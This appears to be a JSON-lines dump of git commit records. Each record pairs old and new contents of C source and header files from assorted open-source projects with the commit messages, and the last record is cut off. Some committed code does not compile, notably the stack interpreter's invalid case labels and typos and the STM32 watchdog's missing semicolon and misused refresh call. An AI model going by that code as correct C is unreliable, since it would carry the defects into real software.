{"commit":"6bb6c383a5acfcd734a4453d4f7f20caa727c744","old_file":"Josh_Zane_Sebastian\/src\/interpreter\/interpreter.c","new_file":"Josh_Zane_Sebastian\/src\/interpreter\/interpreter.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid runStep(struct stack_node node, struct stack_node *top) {\n  switch( node.data.type ) {\n  case 0:\n    struct stack_node push;\n    push.cdr = top;\n    push.data = node.data;\n    *top = push;\n    break;\n  }\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid runStep(struct stack_node node, struct stack_node *top) {\n  switch( node.data.type ) {\n  case T_INT: push(node, top);\n    break;\n  case T_SBRTN:\n    push(node, top);\n    break;\n  case T_char 1:\n    switch( nonde.data.numval ) {\n    case '+':\n      int x = pop(top);\n      int y = pop(top);\n      push(x + y);\n      break;\n    case '_':\n      push(0);\n    case '-':\n      int x = pop(top);\n      int y = pop(top);\n      push(x - y);\n      break;\n    case '*':\n      int x = pop(top);\n      int y = pop(top);\n      push(x * y);\n      break;\n    case '\/':\n      int x = pop(top);\n      int y = pop(top);\n      push(x \/ y);\n      break;\n    case '=':\n      int x = pop(top);\n      int y = pop(top);\n      if(x == y)\n\tpush(-1);\n      else\n\tpush(0);\n      break;\n    case '<':\n      int x = pop(top);\n      int y = pop(top);\n      if(x < y)\n\tpush(-1);\n      else\n\tpush(0);\n      break;\n    case '~':\n      int x = pop(top);\n      int y = pop(top);\n      if(x == y):\n\tpush(0);\n      else\n\tpush(-1);\n    }\n  }\n}\n\nstruct stack_node pop(struct stack_node *top) {\n  struct stack_node pop = *top;\n  *top = *(pop.cdr);\n  return pop;\n}\n\nvoid push(struct stack_node node, struct stack_node *top) {\n  node.cdr = top;\n  *top = node;\n}\n","subject":"Implement interpretation of basic arithmetic and comparatory functions.","message":"Implement interpretation of basic arithmetic and comparatory functions.\n","lang":"C","license":"mit","repos":"aacoppa\/final,aacoppa\/final"}
{"commit":"feb177aed55637fa0cfd1c788ff1ecfcc25db293","old_file":"arch\/luna88k\/include\/loadfile_machdep.h","new_file":"arch\/luna88k\/include\/loadfile_machdep.h","old_contents":"","new_contents":"\/*\t$OpenBSD: loadfile_machdep.h,v 1.1 2013\/10\/18 10:55:33 miod Exp $\t*\/\n\n\/*-\n * Copyright (c) 1999 The NetBSD Foundation, Inc.\n * All rights reserved.\n *\n * This code is derived from software contributed to The NetBSD Foundation\n * by Christos Zoulas.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS\n * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#define BOOT_ELF\n\n#define LOAD_KERNEL\t\tLOAD_ALL\n#define COUNT_KERNEL\t\tCOUNT_ALL\n\n#define LOADADDR(a)\t\t(((u_long)(a)) + offset)\n#define ALIGNENTRY(a)\t\t((u_long)(a) & ~0x0fff)\n#define READ(f, b, c)\t\tread((f), (void *)LOADADDR(b), (c))\n#define BCOPY(s, d, c)\t\tmemcpy((void *)LOADADDR(d), (void *)(s), (c))\n#define BZERO(d, c)\t\tmemset((void *)LOADADDR(d), 0, (c))\n#define\tWARN(a)\t\t\t(void)(printf a, \\\n\t\t\t\t    printf((errno ? \": %s\\n\" : \"\\n\"), \\\n\t\t\t\t    strerror(errno)))\n#define PROGRESS(a)\t\t(void) printf a\n#define ALLOC(a)\t\talloc(a)\n#define FREE(a, b)\t\tfree(a, b)\n","subject":"Add configuration for MI libsa loadfile, to be used soon.","message":"Add configuration for MI libsa loadfile, to be used soon.\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"a70643b3c43dccc4cf855ad3d793044eaf959553","old_file":"Wangscape\/noise\/module\/codecs\/NoiseSourcesCodec.h","new_file":"Wangscape\/noise\/module\/codecs\/NoiseSourcesCodec.h","old_contents":"#pragma once\n\n\n#include <spotify\/json.hpp>\n#include <spotify\/json\/codec\/boost.hpp>\n\n#include \"noise\/module\/NoiseSources.h\"\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<noise::module::NoiseSources>\n{\n    typedef noise::module::NoiseSources NoiseSources;\n    static codec::object_t<NoiseSources> codec()\n    {\n        auto codec = codec::object<NoiseSources>();\n        auto single_module_codec = codec::string();\n        auto module_list_codec = codec::array<std::vector<std::string>>(single_module_codec);\n        auto optional_single_module_codec = codec::optional(single_module_codec);\n        auto optional_module_list_codec = codec::optional(module_list_codec);\n        codec.optional(\"SourceModule\", &NoiseSources::sourceModules, optional_module_list_codec);\n        codec.optional(\"ControlModule\", &NoiseSources::controlModule, optional_single_module_codec);\n        codec.optional(\"DisplaceModule\", &NoiseSources::displaceModules, optional_module_list_codec);\n        return codec;\n    }\n};\n\n}\n}\n","new_contents":"#pragma once\n\n\n#include <spotify\/json.hpp>\n#include <spotify\/json\/codec\/boost.hpp>\n\n#include \"noise\/module\/NoiseSources.h\"\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<noise::module::NoiseSources>\n{\n    typedef noise::module::NoiseSources NoiseSources;\n    static codec::object_t<NoiseSources> codec()\n    {\n        auto codec = codec::object<NoiseSources>();\n        auto single_module_codec = codec::string();\n        auto module_list_codec = codec::array<std::vector<std::string>>(single_module_codec);\n        auto optional_single_module_codec = codec::optional(single_module_codec);\n        auto optional_module_list_codec = codec::optional(module_list_codec);\n        codec.optional(\"SourceModule\", &NoiseSources::sourceModules, optional_module_list_codec);\n        codec.optional(\"ControlModule\", &NoiseSources::controlModule, optional_single_module_codec);\n        codec.optional(\"DisplaceModules\", &NoiseSources::displaceModules, optional_module_list_codec);\n        return codec;\n    }\n};\n\n}\n}\n","subject":"Correct name of \"DisplaceModules\" field","message":"Correct name of \"DisplaceModules\" field\n","lang":"C","license":"mit","repos":"serin-delaunay\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape,serin-delaunay\/Wangscape,Wangscape\/Wangscape"}
{"commit":"1da49b17817fdfb4709976c462cc4a9ca943d989","old_file":"scripts\/start.c","new_file":"scripts\/start.c","old_contents":"start\nGo to Layout [ “budget” (budget) ]\nSet Window Title [ Current Window; New Title: \"Budget Research\" ]\nSet Zoom Level\n[ 100% ]\n#\n#Report version number to Memory Switch Table.\nSet Field [ MemorySwitch::versionBudget; Reference::version ]\n#\n#Show regular menus if Admin logs in only.\nShow\/Hide Text Ruler\n[ Hide ]\nIf [ Get ( AccountName ) = \"Admin\" ]\nShow\/Hide Status Area\n[ Hide ]\nInstall Menu Set [ “[Standard FileMaker Menus]” ]\nElse\nShow\/Hide Status Area\n[ Lock; Hide ]\nInstall Menu Set [ “Custom Menu Set 1” ]\nEnd If\nJanuary 8, 平成26 18:44:18 Budget Research.fp7 - start -1-\n","new_contents":"start\nGo to Layout [ “budget” (budget) ]\nSet Window Title [ Current Window; New Title: \"Budget Planner\" ]\nSet Zoom Level\n[ 100% ]\n#\n#Report version number to Memory Switch Table.\nSet Field [ MemorySwitch::versionBudget; Reference::version ]\n#\n#Show regular menus if Admin logs in only.\nShow\/Hide Text Ruler\n[ Hide ]\nIf [ Get ( AccountName ) = \"Admin\" ]\nShow\/Hide Status Area\n[ Hide ]\nInstall Menu Set [ “[Standard FileMaker Menus]” ]\nElse\nShow\/Hide Status Area\n[ Lock; Hide ]\nInstall Menu Set [ “Custom Menu Set 1” ]\nEnd If\nJanuary 30, 平成26 22:13:52 Budget Planner.fp7 - start -1-","subject":"Change solution name to Budget Planner","message":"Change solution name to Budget Planner\n","lang":"C","license":"apache-2.0","repos":"HelpGiveThanks\/Budget"}
{"commit":"e97b81bf0b9a6521c2a8994efd1a67f9d305da7e","old_file":"bitboard-test.c","new_file":"bitboard-test.c","old_contents":"","new_contents":"#include \"bitboard.h\"\n\nint main(int argc, char** argv)\n{\n\tBitboard test = board_init();\n\tboard_print(test);\n\treturn 0;\n}\n","subject":"Add a little test driver","message":"Add a little test driver\n","lang":"C","license":"bsd-3-clause","repos":"jwatzman\/nameless-chessbot,jwatzman\/nameless-chessbot"}
{"commit":"8bb57148432a0aea834343b0c5bfae98d28131b7","old_file":"src\/buffer.c","new_file":"src\/buffer.c","old_contents":"\/*\n * buffer.c\n *\n *  Created on: 06.02.2015.\n *      Author: ichiro\n *\/\n\n\/* Includes ------------------------------------------------------------------*\/\n#include \"buffer.h\"\n\n\/* Private typedef -----------------------------------------------------------*\/\n\/* Private define ------------------------------------------------------------*\/\n\/* Private macro -------------------------------------------------------------*\/\n\/* Private variables ---------------------------------------------------------*\/\n\/* Private function prototypes -----------------------------------------------*\/\n\/* Private functions ---------------------------------------------------------*\/\n\n\nvoid buff_init(__IO fifo_t *buffer)\n{\n    buffer->counter = 0; \/\/ 0 bytes in buffer\n    buffer->head = 0;    \/\/ Index points to start\n    buffer->tail = 0;    \/\/ Index points to start\n}\n\n\nvoid buff_put(__IO fifo_t *buffer, uint8_t ch)\n{\n    buffer->buff[BUFF_MASK & (buffer->head++)] = ch;\n    buffer->counter++;\n}\n\nuint8_t buff_get(__IO fifo_t *buffer)\n{\n    uint8_t ch;\n\n    ch = buffer->buff[BUFF_MASK & (buffer->tail++)];\n    buffer->counter--;\n\n    return ch;\n}\n\nbool buff_empty(__IO fifo_t buffer)\n{\n    return (buffer.counter == 0) ? true : false;\n}\n\nbool buff_full(__IO fifo_t buffer)\n{\n    return (buffer.counter == BUFF_SIZE) ? true : false;\n}\n","new_contents":"\/*\n * buffer.c\n *\n *  Created on: 06.02.2015.\n *      Author: ichiro\n *\/\n\n\/* Includes ------------------------------------------------------------------*\/\n#include \"buffer.h\"\n\n\/* Private typedef -----------------------------------------------------------*\/\n\/* Private define ------------------------------------------------------------*\/\n\/* Private macro -------------------------------------------------------------*\/\n\/* Private variables ---------------------------------------------------------*\/\n\/* Private function prototypes -----------------------------------------------*\/\n\/* Private functions ---------------------------------------------------------*\/\n\n\nvoid buff_init(__IO fifo_t *buffer)\n{\n    buffer->counter = 0; \/\/ 0 bytes in the buffer\n    buffer->head = 0;    \/\/ Index points to start\n    buffer->tail = 0;    \/\/ Index points to start\n}\n\n\nvoid buff_put(__IO fifo_t *buffer, uint8_t ch)\n{\n    buffer->buff[BUFF_MASK & (buffer->head++)] = ch;\n    buffer->counter++;\n}\n\nuint8_t buff_get(__IO fifo_t *buffer)\n{\n    uint8_t ch;\n\n    ch = buffer->buff[BUFF_MASK & (buffer->tail++)];\n    buffer->counter--;\n\n    return ch;\n}\n\nbool buff_empty(__IO fifo_t buffer)\n{\n    return (buffer.counter == 0) ? true : false;\n}\n\nbool buff_full(__IO fifo_t buffer)\n{\n    return (buffer.counter == BUFF_SIZE) ? true : false;\n}\n","subject":"Add a new feature, lol","message":"Add a new feature, lol\n","lang":"C","license":"mit","repos":"futoke\/cnc,futoke\/cnc,futoke\/cnc"}
{"commit":"b1d73df29598cb3df43425377a395c1e4cafc1db","old_file":"src\/canard.c","new_file":"src\/canard.c","old_contents":"#include \"canard.h\"\n#include \"canard_internals.h\"\n\nvoid canardInitPoolAllocator(CanardPoolAllocator* allocator, CanardPoolAllocatorBlock* buf, unsigned int buf_len)\n{\n    unsigned int current_index = 0;\n    CanardPoolAllocatorBlock** current_block = &(allocator->free_list);\n    while (current_index < buf_len)\n    {\n        *current_block = &buf[current_index];\n        current_block = &((*current_block)->next);\n        current_index++;\n    }\n    *current_block = NULL;\n}\n\nvoid* canardAllocateBlock(CanardPoolAllocator* allocator)\n{\n    \/* Check if there are any blocks available in the free list. *\/\n    if (allocator->free_list == NULL)\n    {\n        return NULL;\n    }\n\n    \/* Take first available block and prepares next block for use. *\/\n    void* result = allocator->free_list;\n    allocator->free_list = allocator->free_list->next;\n\n    return result;\n}\n\nvoid canardFreeBlock(CanardPoolAllocator* allocator, void* p)\n{\n    CanardPoolAllocatorBlock* block = (CanardPoolAllocatorBlock*)p;\n\n    block->next = allocator->free_list;\n    allocator->free_list = block;\n}\n","new_contents":"#include \"canard.h\"\n#include \"canard_internals.h\"\n\nCANARD_INTERNAL void canardInitPoolAllocator(CanardPoolAllocator* allocator, CanardPoolAllocatorBlock* buf, unsigned int buf_len)\n{\n    unsigned int current_index = 0;\n    CanardPoolAllocatorBlock** current_block = &(allocator->free_list);\n    while (current_index < buf_len)\n    {\n        *current_block = &buf[current_index];\n        current_block = &((*current_block)->next);\n        current_index++;\n    }\n    *current_block = NULL;\n}\n\nCANARD_INTERNAL void* canardAllocateBlock(CanardPoolAllocator* allocator)\n{\n    \/* Check if there are any blocks available in the free list. *\/\n    if (allocator->free_list == NULL)\n    {\n        return NULL;\n    }\n\n    \/* Take first available block and prepares next block for use. *\/\n    void* result = allocator->free_list;\n    allocator->free_list = allocator->free_list->next;\n\n    return result;\n}\n\nCANARD_INTERNAL void canardFreeBlock(CanardPoolAllocator* allocator, void* p)\n{\n    CanardPoolAllocatorBlock* block = (CanardPoolAllocatorBlock*)p;\n\n    block->next = allocator->free_list;\n    allocator->free_list = block;\n}\n","subject":"Apply internal API marker to declarations too","message":"Apply internal API marker to declarations too\n","lang":"C","license":"mit","repos":"UAVCAN\/libcanard,UAVCAN\/libcanard,antoinealb\/libcanard,UAVCAN\/libcanard,antoinealb\/libcanard"}
{"commit":"1fdc33b04d25fee097eab8b8614569992a0a4bf4","old_file":"staging_vespalib\/src\/vespa\/vespalib\/util\/scheduledexecutor.h","new_file":"staging_vespalib\/src\/vespa\/vespalib\/util\/scheduledexecutor.h","old_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <vespa\/vespalib\/util\/executor.h>\n#include <vespa\/vespalib\/util\/time.h>\n#include <vector>\n\nclass FNET_Transport;\n\nnamespace vespalib {\n\nclass TimerTask;\n\n\/**\n * ScheduledExecutor is a class capable of running Tasks at a regular\n * interval. The timer can be reset to clear all tasks currently being\n * scheduled.\n *\/\nclass ScheduledExecutor\n{\nprivate:\n    using TaskList = std::vector<std::unique_ptr<TimerTask>>;\n    FNET_Transport & _transport;\n    std::mutex _lock;\n    TaskList   _taskList;\n\npublic:\n    \/**\n     * Create a new timer, capable of scheduling tasks at fixed intervals.\n     *\/\n    ScheduledExecutor(FNET_Transport & transport);\n\n    \/**\n     * Destroys this timer, finishing the current task executing and then\n     * finishing.\n     *\/\n    ~ScheduledExecutor();\n\n    \/**\n     * Schedule new task to be executed at specified intervals.\n     *\n     * @param task The task to schedule.\n     * @param delay The delay to wait before first execution.\n     * @param interval The interval in seconds.\n     *\/\n    void scheduleAtFixedRate(std::unique_ptr<Executor::Task> task, duration delay, duration interval);\n\n    \/**\n     * Reset timer, clearing the list of task to execute.\n     *\/\n    void reset();\n};\n\n}\n\n","new_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <vespa\/vespalib\/util\/executor.h>\n#include <vespa\/vespalib\/util\/time.h>\n#include <mutex>\n#include <vector>\n\nclass FNET_Transport;\n\nnamespace vespalib {\n\nclass TimerTask;\n\n\/**\n * ScheduledExecutor is a class capable of running Tasks at a regular\n * interval. The timer can be reset to clear all tasks currently being\n * scheduled.\n *\/\nclass ScheduledExecutor\n{\nprivate:\n    using TaskList = std::vector<std::unique_ptr<TimerTask>>;\n    FNET_Transport & _transport;\n    std::mutex _lock;\n    TaskList   _taskList;\n\npublic:\n    \/**\n     * Create a new timer, capable of scheduling tasks at fixed intervals.\n     *\/\n    ScheduledExecutor(FNET_Transport & transport);\n\n    \/**\n     * Destroys this timer, finishing the current task executing and then\n     * finishing.\n     *\/\n    ~ScheduledExecutor();\n\n    \/**\n     * Schedule new task to be executed at specified intervals.\n     *\n     * @param task The task to schedule.\n     * @param delay The delay to wait before first execution.\n     * @param interval The interval in seconds.\n     *\/\n    void scheduleAtFixedRate(std::unique_ptr<Executor::Task> task, duration delay, duration interval);\n\n    \/**\n     * Reset timer, clearing the list of task to execute.\n     *\/\n    void reset();\n};\n\n}\n\n","subject":"Add include to get declaration for std::mutex (staging_vespalib).","message":"Add include to get declaration for std::mutex (staging_vespalib).\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"7434edc3b555319df75e77ed644f875a3d6f6ed6","old_file":"Menu\/Code\/UI\/BRMenuOrderingGroupViewController.h","new_file":"Menu\/Code\/UI\/BRMenuOrderingGroupViewController.h","old_contents":"\/\/\n\/\/  BRMenuOrderingGroupViewController.h\n\/\/  MenuKit\n\/\/\n\/\/  Created by Matt on 29\/07\/15.\n\/\/  Copyright (c) 2015 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#import \"BRMenuOrderingDelegate.h\"\n#import <BRStyle\/BRUIStylish.h>\n\n@class BRMenuOrderingFlowController;\n\nextern NSString * const BRMenuOrderingItemCellIdentifier;\nextern NSString * const BRMenuOrderingItemWithoutComponentsCellIdentifier;\nextern NSString * const BRMenuOrderingItemGroupHeaderCellIdentifier;\n\n\/**\n Present a list of menu item groups as sections of menu items.\n *\/\n@interface BRMenuOrderingGroupViewController : UITableViewController <BRMenuOrderingDelegate, BRUIStylish>\n\n@property (nonatomic, assign, getter=isUsePrototypeCells) IBInspectable BOOL usePrototypeCells;\n\n@property (nonatomic, strong) BRMenuOrderingFlowController *flowController;\n@property (nonatomic, weak) id<BRMenuOrderingDelegate> orderingDelegate;\n\n@end\n","new_contents":"\/\/\n\/\/  BRMenuOrderingGroupViewController.h\n\/\/  MenuKit\n\/\/\n\/\/  Created by Matt on 29\/07\/15.\n\/\/  Copyright (c) 2015 Blue Rocket. Distributable under the terms of the Apache License, Version 2.0.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n#import \"BRMenuOrderingDelegate.h\"\n#import <BRStyle\/BRUIStylish.h>\n\n@class BRMenuOrderingFlowController;\n@class BRMenuStepper;\n\nextern NSString * const BRMenuOrderingItemCellIdentifier;\nextern NSString * const BRMenuOrderingItemWithoutComponentsCellIdentifier;\nextern NSString * const BRMenuOrderingItemGroupHeaderCellIdentifier;\n\n\/**\n Present a list of menu item groups as sections of menu items.\n *\/\n@interface BRMenuOrderingGroupViewController : UITableViewController <BRMenuOrderingDelegate, BRUIStylish>\n\n@property (nonatomic, assign, getter=isUsePrototypeCells) IBInspectable BOOL usePrototypeCells;\n\n@property (nonatomic, strong) BRMenuOrderingFlowController *flowController;\n@property (nonatomic, weak) id<BRMenuOrderingDelegate> orderingDelegate;\n\n\/**\n Action sent to go backwards in the navigation flow.\n \n @param sender The action sender.\n *\/\n- (IBAction)goBack:(id)sender;\n\n\/**\n Action when changes are requested to be saved into the active order.\n \n @param sender The action sender.\n *\/\n- (IBAction)saveToOrder:(id)sender;\n\n\/**\n Action sent when the quantity should be adjusted via a stepper.\n \n @param sender The stepper.\n *\/\n- (IBAction)didAdjustQuantity:(BRMenuStepper *)sender;\n\n@end\n","subject":"Move some action methods into header for subclasses to support.","message":"Move some action methods into header for subclasses to support.\n","lang":"C","license":"apache-2.0","repos":"Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu,Blue-Rocket\/BRMenu"}
{"commit":"87a138305ce52782e192094f292c67d060619200","old_file":"hw\/mcu\/stm\/stm32f3xx\/src\/hal_watchdog.c","new_file":"hw\/mcu\/stm\/stm32f3xx\/src\/hal_watchdog.c","old_contents":"","new_contents":"\/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#include \"hal\/hal_watchdog.h\"\n#include \"mcu\/stm32f30x.h\"\n#include \"mcu\/stm32f30x_iwdg.h\"\n\nstruct stm_wdt_cfg\n{\n    uint8_t prescaler;\n    uint16_t reload\n};\nstruct stm_wdt_cfg g_wdt_cfg;\n\nint\nhal_watchdog_init(uint32_t expire_msecs)\n{\n    uint32_t reload;\n\n    \/* Max prescaler is 256 *\/\n    reload = 32768 \/ 256;\n    reload = (reload * expire_msecs) \/ 1000;\n\n    \/* Check to make sure we are not trying a reload value that is too large *\/\n    if (reload > IWDG_RLR_RL) {\n        return -1;\n    }\n\n    g_wdt_cfg.prescaler = IWDG_Prescaler_256;\n    g_wdt_cfg.reload = reload;\n\n    return 0;\n}\n\nvoid\nhal_watchdog_enable(void)\n{\n    FlagStatus rc;\n\n    DBGMCU->APB1FZ |= DBGMCU_IWDG_STOP;\n    IWDG_Enable();\n    IWDG_WriteAccessCmd(IWDG_WriteAccess_Enable);\n    IWDG_SetPrescaler(g_wdt_cfg.prescaler);\n    IWDG_SetReload(g_wdt_cfg.reload);\n    rc = SET;\n    while (rc != RESET) {\n        rc = IWDG_GetFlagStatus();\n        \/* XXX: need to break out of this somehow. *\/\n    }\n    IWDG_ReloadCounter();\n}\n\nvoid\nhal_watchdog_tickle(void)\n{\n    HAL_IWDG_Refresh(&g_wdt_cfg);\n}\n\n","subject":"Add hal watchdog for stm32f3","message":"MYNEWT-448: Add hal watchdog for stm32f3\n\nNOTE: there is one issue unresolved with this commit. There is no\nway to exit the loop where we are waiting for the register\nchanges to take effect. Not sure the best way to do this at this\npoint so for now we just skip it. This has been noted in the ticket\nand should be addressed soon.\n","lang":"C","license":"apache-2.0","repos":"runtimeinc\/mynewt_stm32f3,runtimeinc\/mynewt_stm32f3"}
{"commit":"5eca7b2e8306af5398797d89d8aa6784ae6602a8","old_file":"src\/condor_includes\/condor_nfs.h","new_file":"src\/condor_includes\/condor_nfs.h","old_contents":"","new_contents":"\/***************************Copyright-DO-NOT-REMOVE-THIS-LINE**\n * CONDOR Copyright Notice\n *\n * See LICENSE.TXT for additional notices and disclaimers.\n *\n * Copyright (c)1990-1998 CONDOR Team, Computer Sciences Department, \n * University of Wisconsin-Madison, Madison, WI.  All Rights Reserved.  \n * No use of the CONDOR Software Program Source Code is authorized \n * without the express consent of the CONDOR Team.  For more information \n * contact: CONDOR Team, Attention: Professor Miron Livny, \n * 7367 Computer Sciences, 1210 W. Dayton St., Madison, WI 53706-1685, \n * (608) 262-0856 or miron@cs.wisc.edu.\n *\n * U.S. Government Rights Restrictions: Use, duplication, or disclosure \n * by the U.S. Government is subject to restrictions as set forth in \n * subparagraph (c)(1)(ii) of The Rights in Technical Data and Computer \n * Software clause at DFARS 252.227-7013 or subparagraphs (c)(1) and \n * (2) of Commercial Computer Software-Restricted Rights at 48 CFR \n * 52.227-19, as applicable, CONDOR Team, Attention: Professor Miron \n * Livny, 7367 Computer Sciences, 1210 W. Dayton St., Madison, \n * WI 53706-1685, (608) 262-0856 or miron@cs.wisc.edu.\n****************************Copyright-DO-NOT-REMOVE-THIS-LINE**\/\n\n#ifndef _CONDOR_NFS_H\n#define _CONDOR_NFS_H\n\n#include <sys\/mount.h>\n\n#if defined(LINUX)\n#\tinclude <linux\/nfs.h>\n#\tinclude <linux\/ipc.h>\n#\tinclude <dirent.h>\n    typedef struct fhandle fhandle_t;\n#elif !defined(IRIX62)\n#\tinclude <rpc\/rpc.h>\n#\tinclude <nfs\/nfs.h>\n#if !defined(OSF1)\n#\tinclude <nfs\/export.h>\n#endif\n#endif\n\n#endif \/* _CONDOR_NFS_H *\/\n\n","subject":"Put all NFS-related header files (and the platform-dependent ugliness) in one place.","message":"Put all NFS-related header files (and the platform-dependent ugliness)\nin one place.\n","lang":"C","license":"apache-2.0","repos":"mambelli\/osg-bosco-marco,djw8605\/condor,djw8605\/condor,htcondor\/htcondor,htcondor\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/condor,djw8605\/condor,neurodebian\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,neurodebian\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/condor,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,neurodebian\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,htcondor\/htcondor"}
{"commit":"a207b100fb33525adf5166ad0e1113ed8dd1358b","old_file":"chapter27\/chapter27_ex16.c","new_file":"chapter27\/chapter27_ex16.c","old_contents":"","new_contents":"\/* Chapter 27, exercise 16: \"improve\" (obfuscate) exercise 15 by using macros *\/\n\n#include<stdio.h>\n#include<stdlib.h>\n\n#define GET_PTR(type,var_name) type* var_name = (type*)malloc(sizeof(type))\n#define SET_FCT_PTR(pshape,pfct,fct) pshape->shape.pvtable->pfct = &fct\n\ntypedef void (*Pfct0)(struct Shape*);\ntypedef void (*Pfct1int)(struct Shape*, int);\n\ntypedef struct {\n    Pfct0 draw;\n    Pfct1int rotate;\n} Vtable;\n\ntypedef struct {\n    Vtable* pvtable;\n    int x;\n    int y;\n} Shape;\n\ntypedef struct {\n    Shape shape;\n    int radius;\n} Circle;\n\nvoid draw(Shape* this)\n{\n    (this->pvtable->draw)(this);\n}\n\nvoid rotate(Shape* this, int deg)\n{\n    (this->pvtable->rotate)(this,deg);\n}\n\nvoid draw_shape(Shape* this)\n{\n    printf(\"Drawing Shape at (%d,%d)\\n\",this->x,this->y);\n}\n\nvoid rotate_shape(Shape* this, int deg)\n{\n    printf(\"Rotating Shape at (%d,%d) by %d\\n\",this->x,this->y,deg);\n}\n\nvoid draw_circle(Shape* this)\n{\n    Circle* pcircle = (Circle*)this;\n    printf(\"Drawing Circle at (%d,%d) with radius %d\\n\",\n           this->x,this->y,pcircle->radius);\n}\n\nvoid rotate_circle(Shape* this, int deg)\n{\n    Circle* pcircle = (Circle*)this;\n    printf(\"Rotating Circle at (%d,%d) with radius %d by %d\\n\",\n           this->x,this->y,pcircle->radius,deg);\n}\n\nShape* init_shape(int x, int y)\n{\n    GET_PTR(Shape,pshape);\n    GET_PTR(Vtable,pvtable);\n    pvtable->draw = &draw_shape;\n    pvtable->rotate = &rotate_shape;\n    pshape->pvtable = pvtable;\n    pshape->x = x;\n    pshape->y = y;\n    return pshape;\n}\n\nCircle* init_circle(int x, int y, int radius)\n{\n    GET_PTR(Circle,pcircle);\n    pcircle->shape = *init_shape(x,y);\n    SET_FCT_PTR(pcircle,draw,draw_circle);\n    SET_FCT_PTR(pcircle,rotate,rotate_circle);\n    pcircle->radius = radius;\n    return pcircle;\n}\n\nint main()\n{\n    Shape* myshape = init_shape(10,10);\n    Circle* mycircle = init_circle(20,20,5);\n    draw(myshape);\n    draw(mycircle);\n    rotate(myshape,10);\n    rotate(mycircle,15);\n}\n","subject":"Add Chapter 27, exercise 16","message":"Add Chapter 27, exercise 